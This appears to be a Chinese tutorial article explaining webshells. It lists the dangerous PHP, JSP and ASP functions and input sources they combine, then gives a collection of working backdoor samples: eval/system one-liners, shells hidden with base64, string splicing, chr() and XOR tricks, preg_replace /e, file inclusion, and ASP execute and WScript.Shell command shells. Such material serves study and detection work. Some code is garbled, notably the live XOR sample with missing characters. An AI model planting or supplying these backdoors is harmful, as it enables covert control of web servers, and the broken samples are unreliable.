当前位置: 首页 > news >正文

webshell详解

Webshell详解

    • 一、 Webshell 介绍
    • 二 、 基础常见webshell案例

一、 Webshell 介绍

  1. 概念

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门文件,得到一个命令执行环境,以达到控制网站服务器的目的。

从字面上来说,webshell单词可以拆成web和shell。其中web即服务器所开放的web服务。Shell即命令执行环境,用户与服务器操作系统交互的接口。即黑客通过网站提供的web服务建立与服务器进行交互的执行环境,从而获取服务器的一些权限,最终达到控制网站服务器的目的。

  1. 简单介绍

一个最简单的 php webshell

<?php system($_GET[1]); ?>

利用该webshell执行任意命令:
在这里插入图片描述

  1. webshell本质

如下任意命令执行类webshell一般由以下两部分组成:

  • 威胁函数;

  • 可控参数;
    在这里插入图片描述

简单总结 ,Webshell的本质其实是威胁函数和可控参数的组合调用,二者缺一不可。

绝大多数webshell都遵循这个原则,理解了这个大原则,也就基本了解了webshell的逻辑。

  1. 威胁函数与可控输入总结(常见)
  • php Webshell威胁函数 :
1 - 命令执行类函数:
exec,passthru,shell_exec,system,popen,proc_open,expect_popen,pcntl_exec,ssh2_exec,
php_check_syntax,virtual,escapeshellcmd2 – 执行代码段函数
assert,eval,create_function,runkit_function_add,runkit_function_redefine   3 – 回调类函数
call_user_func,call_user_func_array,array_diff_uassoc,array_diff_ukey,
array_filter,array_intersect_uassoc,array_intersect_ukey,array_map,
array_reduce,array_udiff,array_udiff_assoc,array_udiff_uassoc…4 – 文件包含函数
include, require, require_once, include_once
  • php webshell 可控输入:
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_SERVER
  • jsp webshell 威胁函数(类)

1 - 命令执行:
java.lang.Runtime.getRuntime().exec()
java.lang.ProcessBuilder.start()
java.lang.ProcessImpl //私有类,需要使用反射加载
ScriptEngineManager().getEngineByName().eval() //ScriptEngine(实现与js交互)执行脚本
ELProcessor().eval() //tomcat el表达式
ELManager().getExpressionFactory().createValuexpression() //ELProcessor的eval的底层实现
java.beans.Expression.getValue() //java.beans.Expression命令执行
jdk.jshell.jshell.builder().build().eval() // Java 9 使用 JShell 命令执行2 - 类加载:
java.lang.ClassLoader
java.net.URLClassLoader3 - 反射:
Class.forName("{威胁函数}")4 - 反序列化:
XMLDecoder().readObject()  // 类似weblogic xml 反序列化漏洞5 - jndi注入:
com.sun.rowset.JdbcRowSetImpl
  • jsp 可控输入:
1 - Request(HttpServletRequest)的可控参数种类:
getParameter, getQueryString, getParameterNames,
getInputStream, getReader, getParameterMap, getContentLength,
getParameterValues, getHeader,
getHeaders, getParameterMap, getHeaderNames, getRequestedSessionId, getCookies, getAttribute, getAttributeNames,
getContentLengthLong2 - 其他参数类型:
URLConnection(HttpURLConnection)
Response(HttpServletResponse)
pageContext
  • asp webshell 威胁函数
eval
execute
executeGlobal
(wscript.shell).exec()
  • asp 可控输入:
request()
Request.BinaryRead()

php 函数库参考文档:https://www.php.net/

java 类方法参考文档:https://tool.oschina.net/apidocs/apidoc?api=jdk-zh

二 、 基础常见webshell案例

  1. PHP webshell 类
  • “一句话webshell” 类
<?php eval($_POST['1']);?><?php assert($_REQUEST["c"]);?><?php system($_POST['1']);?><?php shell_exec($_GET['1']);?>
  • create_function 函数使用
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>
  • 字符拼接类
<?php
$s0="e";
$s1="val($";
$s2="_";
$s3="P";
$s4="O";
$s5="ST";
$poos=$s0.$s1.$s2.$s3.$s4.$s5."[mima]);";
$pp=@eval($poos);
@eval($pp);
?>
  • ascii码隐藏特征字符
<?php
$a="chr";
$b=$a(97).$a(115).$a(115).$a(101).$a(114).$a(116);
echo $b;
$b($_POST['cmd']);
?>
  • preg_replace 函数 /e 特性使用
<?php
$a = $_REQUEST['id'];
preg_replace('/.*/e',' '.$a,'');
?>
  • include 文件包含
<?php
@include($_GET['bug']);
?>
  • 异或逻辑运算隐藏特征字符
<?php
#$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
#$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`'); // $_='assert';
$__='_'.('{'^'+').('/'^'`').(''^']').(' '^']'); // $__='_POST';
echo $__;
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
  1. asp webshell类
  • eval 执行任意命令
<%eval request("qt")%>
  • execute 执行任意命令
<%
dim a(5)
a(0)=request("404")
eXecUTe(a(0))
%>
  • COM组件命令执行
<%=server.createobject("ws"+"cript.shell").exec("cmd.exe /c "&request("qt")).stdout.readall%>

相关文章:

webshell详解

Webshell详解 一、 Webshell 介绍二 、 基础常见webshell案例 一、 Webshell 介绍 概念 webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境&#xff0c;也可以将其称做为一种网页后门。黑客在入侵了一个网站后&#xff0c;通常会将asp或php后门文件与…...

数据结构 | 搜索和排序——搜索

目录 一、顺序搜索 二、分析顺序搜索算法 三、二分搜索 四、分析二分搜索算法 五、散列 5.1 散列函数 5.2 处理冲突 5.3 实现映射抽象数据类型 搜索是指从元素集合中找到某个特定元素的算法过程。搜索过程通常返回True或False&#xff0c;分别表示元素是否存在。有时&a…...

【python】对象

对象 初识对象成员方法类和对象构造方法其它内置方法封装继承类型注释多态综合案例二级目录三级目录 初识对象 设计表格-生产表格-填写表格 对应于程序中&#xff1a;设计类-创建对象-对象属性赋值 class Student:nameNonegenderNone # 基于类创建对象 stu_1Student() stu_2S…...

k8s概念-污点与容忍

k8s 集群中可能管理着非常庞大的服务器&#xff0c;这些服务器可能是各种各样不同类型的&#xff0c;比如机房、地理位置、配置等&#xff0c;有些是计算型节点&#xff0c;有些是存储型节点&#xff0c;此时我们希望能更好的将 pod 调度到与之需求更匹配的节点上。 此时就需要…...

“从零开始学习Spring Boot:构建高效、可扩展的Java应用程序“

标题&#xff1a;从零开始学习Spring Boot&#xff1a;构建高效、可扩展的Java应用程序 简介&#xff1a; Spring Boot是一种用于简化Java应用程序开发的开源框架&#xff0c;它提供了一种快速、高效的方式来构建可扩展的应用程序。本文将介绍如何从零开始学习Spring Boot&…...

通向架构师的道路之tomcat集群

一、为何要集群 单台App Server再强劲&#xff0c;也有其瓶劲&#xff0c;先来看一下下面这个真实的场景。 当时这个工程是这样的&#xff0c;tomcat这一段被称为web zone&#xff0c;里面用springws&#xff0c;还装了一个jboss的规则引擎Guvnor5.x&#xff0c;全部是ws没有se…...

结构体,枚举,联合大小的计算规则

目录 1.结构体大小的计算 补充&#xff08;位段&#xff09; 2.枚举的大小&#xff08;4个字节&#xff09; 3.联合大小的计算 1.结构体大小的计算 &#xff08;1&#xff09;结构体内存对齐的规则 1. 第一个成员在与结构体变量偏移量为 0 的地址处。 2. 其他成员变量要对…...

Vue2 第十七节 Vue中的Ajax

1.Vue脚手架配置代理 2.vue-resource 一.Vue脚手架配置代理 1.1 使用Ajax库 -- axios ① 安装 : npm i axios ② 引入: import axios from axios ③ 使用示例 1.2 解决开发环境Ajax跨域问题 跨域&#xff1a;违背了同源策略&#xff0c;同源策略规定协议名&#xff0…...

ES6 - 字符串新增的一些常用方法

文章目录 0&#xff0c;新增的一些方法1&#xff0c;includes()、startsWith()、endsWith()2&#xff0c;repeat()3&#xff0c;padStart()、padEnd()4&#xff0c;trimStart()、trimEnd()5&#xff0c;replaceAll()6&#xff0c;at() 0&#xff0c;新增的一些方法 介绍一些ES6…...

最新SQLMap安装与入门技术

点击星标&#xff0c;即时接收最新推文 本文选自《web安全攻防渗透测试实战指南&#xff08;第2版&#xff09;》 五折购买链接&#xff1a;u.jd.com/3ibjeF6 SQLMap详解 SQLMap是一个自动化的SQL注入工具&#xff0c;其主要功能是扫描、发现并利用给定URL的SQL注入漏洞。SQLMa…...

Java 使用 Google Guava 实现接口限流

一、引入依赖 <dependency><groupId>com.google.guava</groupId><artifactId>guava</artifactId><version>30.0-jre</version> </dependency>二、自定义注解及限流拦截器 自定义注解&#xff1a;Limiter package com.haita…...

帮助中心的价值是什么?怎样才能在线搭建官网网站帮助中心?

帮助中心&#xff08;Help Center&#xff09;是一个提供公司或组织产品或服务相关信息的在线平台。它的价值在于为用户提供便捷的自助服务和解决问题的渠道&#xff0c;同时也能减轻客服人员的负担。 如何在线搭建官网网站帮助中心的步骤 确定需求&#xff1a;在搭建帮助中心…...

Kubernetes——理论基础

Kubernetes——理论基础 一、Kubernetes 概述1.K8S 是什么&#xff1f;2.为什么要用 K8S?3.Kubernetes 主要功能 二、Kubernetes 集群架构与组件三、Master 组件1.Kube-apiserver2.Kube-controller-manager3.Kube-scheduler4.配置存储中心——etcd 四、Node 组件1.Kubelet2.Ku…...

【VUE3】

Vue 3 是当下最流行的前端框架之一&#xff0c;其主要特点是性能更好、体积更小、更易于维护。下面是 Vue 3 的一些重要知识点和代码示例&#xff1a; 创建 Vue 实例 import { createApp } from vueconst app createApp({data() {return {message: Hello, Vue 3!}} })app.mo…...

《金融数据保护治理白皮书》发布(137页)

温馨提示&#xff1a;文末附完整PDF下载链接 导读 目前业界已出台数据保护方面的治理模型&#xff0c;但围绕金融数据保护治理的实践指导等尚不成熟&#xff0c;本课题围绕数据保护治理的金融实践、发展现状&#xff0c;探索和标准化相关能力要求&#xff0c;归纳总结相关建…...

上海亚商投顾:沪指震荡微涨 金融、地产午后大幅走强

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 市场情绪 三大指数早盘震荡&#xff0c;午后集体拉升反弹&#xff0c;创业板指涨超1%。券商等大金融板块午后再度走强&#…...

Linux文件管理知识:查找文件

前几篇文章一一介绍了LINUX进程管理控制命令及网络层面的知识体系&#xff0c;综所周知&#xff0c;一个linux系统是由很多文件组成的&#xff0c;那么既然有那么多文件&#xff0c;那我们该如何管理这些文件呢&#xff1f; Linux中的所有数据都是以文件形式存在的&#xff0c…...

【TypeScript】安装的坑!

TypeScript安装 安装TypeScript安装时候可能报错这样开头的数据&#xff08;无法枚举容器中的对象&#xff09;——原因&#xff1a;没权限先解决没权限的问题如果发现无法修改-高级-修改继续安装想使用tsc-发现&#xff0c;tsc不能用解决方法&#xff1a;配置环境变量最后的最…...

spring boot 2.x 使用 jpa 映射 json mysql列数据映射乱码

通过下面的依赖&#xff0c;可以将 mysql 的 json 列字段&#xff08;mysql 5.7及以上的版本支持&#xff09;&#xff0c;映射成 Java Bean <dependency><groupId>com.vladmihalcea</groupId><artifactId>hibernate-types-52</artifactId><v…...

创建Helm脚本

一、创建脚本 Helm 是 Kubernetes 的包管理工具&#xff0c;它可以帮助您简化和自动化 Kubernetes 应用程序的部署和管理。使用 Helm&#xff0c;您可以创建和管理称为 Helm Chart 的应用程序打包&#xff0c;这些 Chart 包含了 Kubernetes 资源和配置信息&#xff0c;可以在不…...

mT5中文-base零样本增强模型应用场景:中文OCR识别后文本纠错与语义补全

mT5中文-base零样本增强模型应用场景&#xff1a;中文OCR识别后文本纠错与语义补全 1. 模型介绍与核心能力 mT5中文-base零样本增强模型是一个专门针对中文文本处理优化的AI模型&#xff0c;它在原有mT5模型基础上进行了重要改进。这个模型最大的特点是使用了海量中文数据进行…...

大模型窗口越来越大,为什么 Agent 还是总会失控?

前端出身&#xff0c;跨进智能体这个坑已经有一段时间了。写这个系列&#xff0c;是想把自己摸索的过程留下来&#xff0c;不是教程&#xff0c;是记录。 很多刚开始接触 Agent 的人&#xff0c;都会有一个直觉&#xff1a; 现在模型的上下文窗口不是已经越来越大了吗&#x…...

《SAP FICO系统配置从入门到精通共40篇》005、总账会计(GL)主数据:科目表与会计科目创建

005、总账会计(GL)主数据:科目表与会计科目创建 一、从生产环境的一个诡异报错说起 上周深夜接到业务电话,说月结时总账凭证突然报错“科目XXXX在科目表中不存在”。查了半天发现,这个科目明明在FS00里能查到,但就是过不了账。最后定位到问题:科目虽然创建了,但没分配…...

【AIAgent落地实战白皮书】:SITS2026官方认证的7大避坑法则与3类高危场景应对指南

第一章&#xff1a;SITS2026发布&#xff1a;AIAgent最佳实践指南 2026奇点智能技术大会(https://ml-summit.org) SITS2026&#xff08;Smart Intelligent Task Systems 2026&#xff09;正式发布《AIAgent最佳实践指南》&#xff0c;聚焦生产环境中可部署、可审计、可演进的…...

Hermes Agent技术架构详解:从OpenClaw迁移到自进化AI助手的工程实践

如果你在使用AI助手工作流时遇到过"金鱼记忆"问题——同一个问题昨天刚解释过&#xff0c;今天又要从头开始&#xff0c;那么Hermes Agent的发布正是你需要的解决方案。Nous Research刚刚正式发布了Hermes Agent&#xff0c;这是首个内置学习循环的商业化AI Agent系统…...

SQL触发器在高并发下的可靠性设计_优化触发锁竞争范围

MySQL/PG触发器中应避免全表操作、非确定性函数及跨表更新&#xff0c;优先用NEW字段赋值、应用层传参、异步消息&#xff1b;须严格控制锁粒度并压测验证。触发器里别写 UPDATE 或 INSERT 全表操作高并发下最常见崩点&#xff1a;触发器里执行 UPDATE orders SET status proc…...

现在不看就晚了:2026奇点大会刚公布的多模态对话系统“实时语义蒸馏”专利技术,6个月内将成行业准入门槛

第一章&#xff1a;2026奇点智能技术大会&#xff1a;多模态对话系统 2026奇点智能技术大会(https://ml-summit.org) 多模态对话系统正从实验室走向高保真工业部署&#xff0c;2026奇点智能技术大会首次将语音、视觉、文本与触觉信号的联合对齐建模设为技术主线。本届大会展示…...

SkeyeVSS国标视频平台项目安装使用说明

1. 服务资源 本项目为 Skeyevss Community Edition (go-vss)&#xff0c;包含后端服务、前端管理后台、国标信令与流媒体联动能力。 项目源码地址 https://github.com/openskeye/go-vss 试用安装包下载 | SMS | 试用安装包下载 | 在线演示 1.1 代码与配置资源 项目源码&am…...

UWB与毫米波雷达:从原理到实战,解锁智能感知的互补之道

1. 揭开UWB与毫米波雷达的神秘面纱 第一次接触UWB雷达时&#xff0c;我正为一个智能家居项目头疼——传统红外传感器在光线变化时总误报&#xff0c;而摄像头方案又面临隐私争议。直到工程师朋友递给我一枚硬币大小的UWB模块&#xff1a;"试试这个&#xff0c;它能看穿沙发…...

告别网盘限速!LinkSwift直链下载助手完全指南

告别网盘限速&#xff01;LinkSwift直链下载助手完全指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼云盘 / 迅…...